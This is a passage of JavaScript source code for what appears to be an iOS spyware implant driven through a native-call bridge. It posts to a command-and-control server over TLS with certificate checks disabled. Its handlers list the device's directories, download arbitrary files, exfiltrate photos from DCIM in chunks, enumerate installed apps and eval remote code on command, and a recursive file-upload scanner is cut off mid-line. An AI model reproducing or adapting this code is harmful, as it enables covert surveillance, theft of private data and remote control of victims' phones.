Nginx/Cloudflare)\n// ============================================================================\n\nconst _RTLD_DEFAULT = 0xfffffffffffffffen;\n\nfunction _makeCFString(str) {\n\tvar buf = Native.callSymbol(\"malloc\", str.length + 1);\n\tNative.writeString(buf, str);\n\tvar cfs = Native.callSymbol(\"CFStringCreateWithCString\", 0n, buf, 0x08000100);\n\tNative.callSymbol(\"free\", buf);\n\treturn cfs;\n}\n\nfunction _getGlobalCF(name) {\n\tvar addr = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, name);\n\tif (!addr || addr === 0n) return 0n;\n\treturn Native.readPtr(BigInt(addr));\n}\n\nfunction _getGlobalCFSafe(name) {\n\tvar val = _getGlobalCF(name);\n\tif (val && val !== 0n) return val;\n\treturn _makeCFString(name);\n}\n\nfunction _cfstreamPost(host, port, path, bodyStr) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return null;\n\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\",\n\t\t\t0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\n\t\tNative.callSymbol(\"CFRelease\", hostCF);\n\t\thostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr));\n\t\tNative.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return null;\n\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryValueCallBacks\");\n\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\",\n\t\t\t\t\t0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return null;\n\n\t\t\tvar hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host +\n\t\t\t\t\"\\r\\nContent-Type: application/json\" +\n\t\t\t\t\"\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\" +\n\t\t\t\t\"\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t\tvar fullReq = hdr + bodyStr;\n\t\t\tvar reqBuf = Native.callSymbol(\"malloc\", fullReq.length + 1);\n\t\t\tNative.writeString(reqBuf, fullReq);\n\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < fullReq.length) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\",\n\t\t\t\t\tws, BigInt(reqBuf) + BigInt(totalSent),\n\t\t\t\t\tfullReq.length - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(reqBuf));\n\t\t\tif (totalSent < fullReq.length) return null;\n\n\t\t\tvar respBuf = Native.callSymbol(\"malloc\", 65536);\n\t\t\tvar result = \"\";\n\t\t\tfor (var ri = 0; ri < 50; ri++) {\n\t\t\t\tvar br = Number(Native.callSymbol(\"CFReadStreamRead\",\n\t\t\t\t\trs, BigInt(respBuf), 65535));\n\t\t\t\tif (br <= 0) break;\n\t\t\t\tresult += Native.readString(BigInt(respBuf), br);\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(respBuf));\n\n\t\t\tvar idx = result.indexOf(\"\\r\\n\\r\\n\");\n\t\t\tif (idx < 0) return null;\n\t\t\ttry { return JSON.parse(result.substring(idx + 4)); } catch(e) { return null; }\n\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _writeLog(msg) {\n\ttry {\n\t\tvar ts = new Date().toISOString();\n\t\tvar line = \"[\" + ts + \"] \" + msg + \"\\n\";\n\t\tvar fd = Number(Native.callSymbol(\"open\", \"/tmp/c2_wallet_debug.log\", 0x209, 0x1FF));\n\t\tif (fd > 0) {\n\t\t\tvar buf = Native.callSymbol(\"malloc\", line.length + 1);\n\t\t\tNative.writeString(buf, line);\n\t\t\tNative.callSymbol(\"write\", fd, buf, line.length);\n\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\tNative.callSymbol(\"close\", fd);\n\t\t}\n\t} catch(e) {}\n\ttry {\n\t\tvar u = \"\";\n\t\ttry { u = DEVICE_UUID; } catch(_u) {}\n\t\thttpPost(_HQ_DELIV_LOG_URL, { uuid: u, lhu: u, text: String(msg), source: \"c2_wallet\" });\n\t} catch(_le) {}\n}\n\n// ============================================================================\n// httpPost - dual mode (https -> CFStream TLS, http -> POSIX socket)\n// ============================================================================\n\nfunction httpPost(url, body) {\n\tconst { host, port, path } = parseURL(url);\n\tconst bodyStr = JSON.stringify(body);\n\tif (url.indexOf(\"https://\") === 0) {\n\t\treturn _cfstreamPost(host, port, path, bodyStr);\n\t}\n\treturn _socketPost(host, port, path, bodyStr);\n}\n\nfunction hqPost(endpoint, body) {\n\ttry { return httpPost(HQ_API_BASE + endpoint, body); }\n\tcatch(e) { return null; }\n}\n\n// ============================================================================\n// HQ Photo Multipart Upload\n// ============================================================================\n\nfunction _writeStr(ptr, str) {\n\tvar buf = new ArrayBuffer(str.length);\n\tvar a = new Uint8Array(buf);\n\tfor (var i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\tNative.write(ptr, buf);\n}\n\nfunction _cfstreamSendRaw(host, port, reqBuf, reqLen) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return false;\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\", 0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\t\tNative.callSymbol(\"CFRelease\", hostCF); hostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr)); Native.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return false;\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryValueCallBacks\");\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return false;\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < reqLen) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\", ws, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\treturn totalSent >= reqLen;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _socketSendRaw(host, port, reqBuf, reqLen) {\n\tvar fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return false;\n\ttry {\n\t\tvar tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n); Native.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\t\tvar sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar sab = new ArrayBuffer(16);\n\t\tvar sv = new DataView(sab);\n\t\tsv.setUint8(0, 16); sv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tvar pp = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(pp[0])); sv.setUint8(5, parseInt(pp[1]));\n\t\tsv.setUint8(6, parseInt(pp[2])); sv.setUint8(7, parseInt(pp[3]));\n\t\tNative.write(sa, sab);\n\t\tvar cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return false;\n\t\tvar totalSent = 0;\n\t\twhile (totalSent < reqLen) {\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", fd, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\tif (nw <= 0) break;\n\t\t\ttotalSent += nw;\n\t\t}\n\t\treturn totalSent >= reqLen;\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _hqUploadPhoto(filePath, filename, uuid, seq, md5hash) {\n\treturn false;\n\tvar useTLS = HQ_API_BASE.indexOf(\"https://\") === 0;\n\tvar p = parseURL(HQ_API_BASE + \"/p\");\n\tvar fileFd = Number(Native.callSymbol(\"open\", filePath, 0, 0));\n\tif (fileFd < 0) return false;\n\tvar fileLen = Number(Native.callSymbol(\"lseek\", fileFd, 0, 2));\n\tNative.callSymbol(\"lseek\", fileFd, 0, 0);\n\tif (fileLen <= 0 || fileLen > 5242880) {\n\t\tNative.callSymbol(\"close\", fileFd);\n\t\treturn false;\n\t}\n\tvar fileBuf = Native.callSymbol(\"malloc\", BigInt(fileLen));\n\tif (!fileBuf || fileBuf === 0n) { Native.callSymbol(\"close\", fileFd); return false; }\n\tNative.callSymbol(\"read\", fileFd, fileBuf, fileLen);\n\tNative.callSymbol(\"close\", fileFd);\n\n\tvar bnd = \"------HqBound\";\n\tvar ua = \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\";\n\tvar prefix =\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"uuid\\\"\\r\\n\\r\\n\" + uuid + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"filename\\\"\\r\\n\\r\\n\" + filename + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"seq\\\"\\r\\n\\r\\n\" + seq + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"md5\\\"\\r\\n\\r\\n\" + md5hash + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\" + filename + \"\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\";\n\tvar suffix = \"\\r\\n--\" + bnd + \"--\\r\\n\";\n\tvar bodyLen = prefix.length + fileLen + suffix.length;\n\tvar hdr = \"POST /p HTTP/1.0\\r\\nHost: \" + p.host + \"\\r\\nContent-Type: multipart/form-data; boundary=\" + bnd + \"\\r\\nUser-Agent: \" + ua + \"\\r\\nContent-Length: \" + bodyLen + \"\\r\\n\\r\\n\";\n\n\tvar totalLen = hdr.length + bodyLen;\n\tvar reqBuf = Native.callSymbol(\"malloc\", BigInt(totalLen));\n\tif (!reqBuf || reqBuf === 0n) { Native.callSymbol(\"free\", fileBuf); return false; }\n\n\t_writeStr(reqBuf, hdr);\n\t_writeStr(reqBuf + BigInt(hdr.length), prefix);\n\tNative.callSymbol(\"memcpy\", reqBuf + BigInt(hdr.length + prefix.length), fileBuf, BigInt(fileLen));\n\tNative.callSymbol(\"free\", fileBuf);\n\t_writeStr(reqBuf + BigInt(hdr.length + prefix.length + fileLen), suffix);\n\n\tvar ok = useTLS\n\t\t? _cfstreamSendRaw(p.host, p.port, reqBuf, totalLen)\n\t\t: _socketSendRaw(p.host, p.port, reqBuf, totalLen);\n\tNative.callSymbol(\"free\", reqBuf);\n\treturn ok;\n}\n\n// ============================================================================\n// File & Directory Helpers\n// ============================================================================\n\nfunction readFileB64(path, maxSize) {\n\tmaxSize = maxSize || MAX_FILE_SIZE;\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tconst sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tconst nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\treturn { b64: bytesToBase64(new Uint8Array(Native.read(buf, nr))), size: nr };\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction getFileSize(path) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return -1;\n\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"close\", fd);\n\treturn sz;\n}\n\nfunction sendFileChunked(cmdId, path, filename, category, meta) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return { ok: false, error: \"open failed\", sent: 0, total: 0 };\n\ttry {\n\t\treturn _sendChunksFromFd(cmdId, fd, -1, filename, category, meta);\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _sendChunksFromFd(cmdId, fd, knownSize, filename, category, meta) {\n\tvar fileSize = knownSize > 0 ? knownSize : Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tif (knownSize <= 0) Native.callSymbol(\"lseek\", fd, 0, 0);\n\tif (fileSize <= 0) return { ok: false, error: \"empty file\", sent: 0, total: 0 };\n\n\tvar totalChunks = Math.ceil(fileSize / CHUNK_SIZE);\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(CHUNK_SIZE));\n\tif (!buf || buf === 0n) return { ok: false, error: \"malloc failed\", sent: 0, total: totalChunks };\n\tvar sentOk = 0, lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(CHUNK_SIZE, fileSize - ci * CHUNK_SIZE);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read returned \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar body = {\n\t\t\t\tcommand_id: cmdId, uuid: DEVICE_UUID,\n\t\t\t\tfilename: filename, data: b64,\n\t\t\t\tchunk_index: ci, total_chunks: totalChunks,\n\t\t\t\tcategory: category || \"\"\n\t\t\t};\n\t\t\tif (meta && ci === totalChunks - 1) {\n\t\t\t\tbody._exec_start_ms = meta.start_ms || 0;\n\t\t\t\tbody._exec_end_ms = meta.end_ms || 0;\n\t\t\t}\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = httpPost(C2_RESULT_URL, body);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch(pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (postOk) { sentOk++; }\n\t\t\telse { lastErr = \"POST failed chunk \" + ci; break; }\n\t\t}\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn { ok: sentOk === totalChunks, error: lastErr, sent: sentOk,\n\t\t\t total: totalChunks, fileSize: fileSize };\n}\n\nfunction listDir(path) {\n\tconst d = Native.callSymbol(\"opendir\", path);\n\tif (!d || d === 0n) return [];\n\tconst out = [];\n\tfor (;;) {\n\t\tconst ent = Native.callSymbol(\"readdir\", d);\n\t\tif (!ent || ent === 0n) break;\n\t\t// Darwin dirent: d_ino(8)+d_seekoff(8)+d_reclen(2)+d_namlen(2)+d_type(1)+d_name\n\t\tconst dtype = new Uint8Array(Native.read(ent + 20n, 1))[0];\n\t\tconst name = Native.readString(ent + 21n, 256);\n\t\tif (name === \".\" || name === \"..\") continue;\n\t\tout.push({ name: name, type: dtype === 4 ? \"dir\" : dtype === 8 ? \"file\" : \"\"+dtype });\n\t}\n\tNative.callSymbol(\"closedir\", d);\n\treturn out;\n}\n\n// ============================================================================\n// Command Handlers\n// ============================================================================\n\nfunction sendResult(cmdId, data, filename, category, meta) {\n\tconst body = { command_id: cmdId, uuid: DEVICE_UUID, filename: filename || \"result.bin\" };\n\tif (data) body.data = data;\n\tif (category) body.category = category;\n\tif (meta) {\n\t\tif (meta.start_ms) body._exec_start_ms = meta.start_ms;\n\t\tif (meta.end_ms) body._exec_end_ms = meta.end_ms;\n\t}\n\tfor (var _retry = 0; _retry < 3; _retry++) {\n\t\tvar _resp = httpPost(C2_RESULT_URL, body);\n\t\tif (_resp !== null) return;\n\t\tNative.callSymbol(\"usleep\", 2000000);\n\t}\n}\n\nfunction sendJSON(cmdId, obj, filename, meta) {\n\tconst s = JSON.stringify(obj);\n\tsendResult(cmdId, bytesToBase64(new Uint8Array(Native.stringToBytes(s, false))), filename || \"result.json\", null, meta);\n}\n\nfunction handleLs(cmd) {\n\tconst p = (cmd.params && cmd.params.path) || \"/\";\n\tsendJSON(cmd.command_id, listDir(p), \"ls_\" + p.replace(/\\//g, \"_\") + \".json\");\n}\n\nfunction handleDownload(cmd) {\n\tvar p = cmd.params && cmd.params.path;\n\tif (!p) return;\n\tvar maxSz = (cmd.params && cmd.params.max_size) || MAX_FILE_SIZE;\n\tvar sz = getFileSize(p);\n\tif (sz <= 0 || sz > maxSz) return;\n\tvar fname = p.split(\"/\").pop();\n\tif (sz <= CHUNK_SIZE) {\n\t\tvar f = readFileB64(p, maxSz);\n\t\tif (f) sendResult(cmd.command_id, f.b64, fname);\n\t} else {\n\t\tsendFileChunked(cmd.command_id, p, fname);\n\t}\n}\n\nfunction handlePhotos(cmd) {\n\tvar dcim = \"/var/mobile/Media/DCIM\";\n\tvar maxCount = (cmd.params && cmd.params.max_count) || 50;\n\tvar count = 0;\n\tvar dirs = listDir(dcim);\n\tfor (var di = 0; di < dirs.length && count < maxCount; di++) {\n\t\tif (dirs[di].type !== \"dir\") continue;\n\t\tvar sub = dcim + \"/\" + dirs[di].name;\n\t\tvar files = listDir(sub);\n\t\tfor (var fi = 0; fi < files.length && count < maxCount; fi++) {\n\t\t\tif (files[fi].type !== \"file\") continue;\n\t\t\tvar fp = sub + \"/\" + files[fi].name;\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) {\n\t\t\t\t\tsendResult(cmd.command_id, f.b64, files[fi].name, \"photos\");\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar chunkResult = sendFileChunked(cmd.command_id, fp, files[fi].name, \"photos\");\n\t\t\t\tif (chunkResult && chunkResult.ok) count++;\n\t\t\t}\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, { collected: count }, \"photos_summary.json\");\n}\n\nfunction _extractBundleId(bytes) {\n\tvar text = _rawToStr(bytes);\n\tvar xmlKey = \"MCMMetadataIdentifier\";\n\tvar ki = text.indexOf(xmlKey);\n\tif (ki >= 0) {\n\t\tvar si = text.indexOf(\"\", ki);\n\t\tif (si >= 0) {\n\t\t\tsi += 8;\n\t\t\tvar ei = text.indexOf(\"\", si);\n\t\t\tif (ei >= 0) return text.substring(si, ei);\n\t\t}\n\t}\n\tvar strings = [];\n\tvar cur = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\tif (bytes[i] >= 0x20 && bytes[i] <= 0x7E) {\n\t\t\tcur += String.fromCharCode(bytes[i]);\n\t\t} else {\n\t\t\tif (cur.length >= 3) strings.push(cur);\n\t\t\tcur = \"\";\n\t\t}\n\t}\n\tif (cur.length >= 3) strings.push(cur);\n\tvar mki = -1;\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tif (strings[j] === \"MCMMetadataIdentifier\") { mki = j; break; }\n\t}\n\tvar candidates = [];\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tvar s = strings[j];\n\t\tvar fi = 0;\n\t\twhile (fi < s.length && !((s.charCodeAt(fi) >= 0x41 && s.charCodeAt(fi) <= 0x5A) ||\n\t\t\t(s.charCodeAt(fi) >= 0x61 && s.charCodeAt(fi) <= 0x7A))) fi++;\n\t\tif (fi > 0) s = s.substring(fi);\n\t\tif (s.length < 5) continue;\n\t\tif (s.indexOf(\".\") < 0) continue;\n\t\tif (s.indexOf(\"MCM\") === 0) continue;\n\t\tif (s.charAt(0) === \"$\") continue;\n\t\tif (s.indexOf(\"]\") >= 0) continue;\n\t\tif (s.indexOf(\"bplist\") >= 0) continue;\n\t\tif (s.indexOf(\"apple.mobile_container\") >= 0) continue;\n\t\tif (s.indexOf(\"MobileInstallation\") >= 0) continue;\n\t\tif (s === \"com.apple.installd\") continue;\n\t\tif (s === \"com.apple.containermanagerd\") continue;\n\t\tif (s === \"com.apple.lsd\") continue;\n\t\tcandidates.push({ s: s, i: j });\n\t}\n\tif (candidates.length === 0) return \"\";\n\tif (candidates.length === 1) return candidates[0].s;\n\tif (mki >= 0) {\n\t\tvar best = candidates[0];\n\t\tvar bd = Math.abs(candidates[0].i - mki);\n\t\tfor (var k = 1; k < candidates.length; k++) {\n\t\t\tvar d = Math.abs(candidates[k].i - mki);\n\t\t\tif (d < bd) { bd = d; best = candidates[k]; }\n\t\t}\n\t\treturn best.s;\n\t}\n\treturn candidates[0].s;\n}\n\nfunction handleApps(cmd) {\n\tconst base = \"/var/mobile/Containers/Data/Application\";\n\tconst dirs = listDir(base);\n\tconst apps = [];\n\tfor (let i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tconst meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tconst ok = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tvar bundleId = \"\";\n\t\tif (ok) {\n\t\t\tvar bytes = _readFileBytes(meta, 8192);\n\t\t\tif (bytes && bytes.length > 0) bundleId = _extractBundleId(bytes);\n\t\t}\n\t\tapps.push({ uuid: dirs[i].name, bundleId: bundleId, hasMetadata: ok });\n\t}\n\tsendJSON(cmd.command_id, apps, \"app_list.json\");\n}\n\nfunction handleExec(cmd) {\n\tvar p = cmd.params || {};\n\tvar code = p.code;\n\tvar startMs = Date.now();\n\tif (!code) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty code\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\ttry {\n\t\tvar r = eval(code);\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"success\",\n\t\t\tresult: String(r !== undefined ? r : \"\"),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t} catch (e) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\",\n\t\t\terror: String(e),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t}\n}\n\n// ============================================================================\n// file_upload: scan directories, filter files, upload matching ones in chunks\n// ============================================================================\n\nfunction _scanDir(base, files, recurse, excludes, filterMode, exts, maxSz) {\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar full = base + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") {\n\t\t\tif (!recurse) continue;\n\t\t\tvar skip = false;\n\t\t\tfor (var e = 0; e < excludes.length; e++) {\n\t\t\t\tif (full === excludes[e]) { skip = true; break; }\n\t\t\t}\n\t\t\tif (!skip) _scanDir(full, files, recurse, excludes, filterMode, exts, maxSz);\n\t\t} else if (items[i].type === \"file\") {\n\t\t\tif (maxSz > 0) {\n\t\t\t\tvar fd = Number(Native.callSymbol(\"open\", full, 0, 0));\n\t\t\t\tif (fd >= 0) {\n\t\t\t\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\t\t\t\tNative.callSymbol(\"close\", fd);\n\t\t\t\t\tif (sz > maxSz) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (filterMode === \"include\" && exts.length > 0) {\n\t\t\t\tvar dot = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot < 0) continue;\n\t\t\t\tvar ext = items[i].name.substring(dot).toLowerCase();\n\t\t\t\tvar found = 